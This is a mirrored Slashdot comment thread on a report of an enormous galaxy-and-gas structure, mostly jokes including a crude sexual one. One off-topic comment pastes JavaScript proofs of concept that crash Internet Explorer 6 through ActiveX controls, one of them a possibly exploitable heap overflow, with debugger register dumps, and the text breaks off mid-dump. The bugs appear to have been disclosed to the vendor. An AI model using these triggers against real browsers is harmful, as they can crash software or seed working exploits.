Slashdot Mirror
Largest Object in the Universe Discovered
prostoalex writes "Quick, think of the largest object you can imagine. Whatever your imagination delivered it probably wasn't an 'enormous amoeba-like structure 200 light-years wide and made up of galaxies and large bubbles of gas,' a newly found object, as USA Today reports."
Paris Hilton's vagina!
Thank you, thank you I will be here all week, avoid the beef, we got a bad case of mad cow going around!
Monstar L
We're all gonna die!
In my opinion, one of the main purposes of Vista is to get people to buy new computers. Microsoft makes most of its money by selling to computer manufacturers, so Microsoft does what they want, not what is good for the customers. That's the reason Microsoft doesn't fix the bugs in Internet Explorer. When computers become slow because of viruses and spyware, people usually buy a new computer.
If Microsoft cared about its customers, it would fix these bugs in Internet Explorer, and many others:
ADODB.Recordset Filter Property
The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. The interesting thing about this bug is how the same property has to be set three different times to trigger the exception.
a = new ActiveXObject('ADODB.Recordset');
try { a.Filter = "AAAA" } catch(e) { }
try { a.Filter = "AAAA" } catch(e) { }
try { a.Filter = 0x7ffffffe; } catch(e) { }
eax=001dbfdc ebx=02820e18 ecx=02821288
edx=028212a8 esi=02821288 edi=00000000
eip=4de194f7 esp=0013ade8 ebp=0013adf0
msado15!CSysString::operator=+0x12:
4de194f7 3907 cmp [edi],eax ds:0023:00000000=????????
This bug was reported to Microsoft on March 6th, 2006.
Internet.HHCtrl Image Property
The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. This bug is interesting because a small heap overflow occurs each time this property is set. The bug is difficult to detect unless heap verification has been enabled in the global debug flags for iexplore.exe. The demonstration below results in a possibly exploitable heap corruption after 128 or more iterations of the property set.
var a = new ActiveXObject("Internet.HHCtrl.1");
var b = unescape("XXXX");
while (b.length < 256) b += b;
for (var i=0; i<4096; i++) {
a['Image'] = b + "";
}
eax=00030288 ebx=00030000 ecx=7ffdd000
edx=00030608 esi=58585850 edi=00000022
eip=7c911f52 esp=0013afcc ebp=0013b1ec
ntdll!RtlAllocateHeap+0x31b:
7c911f52 8a4605 mov al,[esi+0x5] ds:0023:58585855=??
This bug was reported to Microsoft on March 6th, 2006.
StructuredGraphicsControl SourceURL
The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. This bug appears to be triggered by a call to URLOpenBlockingStream() with a NULL pointer referenced by the ppStream argument. The only way I found to trigger this bug is by creating the object through the ActiveXObject interface -- using the standard object/classid syntax (as described here) does not result in a crash.
var a = new ActiveXObject('DirectAnimation.StructuredGraphicsC ontrol');
a.sourceURL = 'CrashingBecauseStreamPtrNotInitialized';
eax=00000000 ebx=7726d35c ecx=02481f30
edx=0013b1a4 esi=00000000 edi=00000000
eip=772ba3bc esp=0013b18c ebp=0013b1b8
urlmon!CBaseBSCB::KickOffDownload+0x7a:
772ba3bc 8b08 mov ecx,[eax] ds:0023:00000000=????????
This bug was reported to Microsoft on March 6th, 2006.
Table.Frameset
The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. This bug was found by Aviv Raff using the DOM-Hanoi fuzzer script. DOM-Hanoi works by building trees of every combination of elements up to the specifed depth. An alternate PoC could use plain HTML instead of javascript.
var a = document.createElement('table');
var b = document.createElement('frameset');
a.appendChild(b);
eax=00000000 ebx=01884710 ecx=01886c60
edx=00000027 esi=0013aeb0 edi=01884730
eip=7dc995ad esp=0013a